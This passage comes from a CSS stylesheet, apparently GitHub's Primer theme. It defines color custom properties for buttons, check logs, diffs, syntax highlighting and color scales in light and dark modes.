#d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 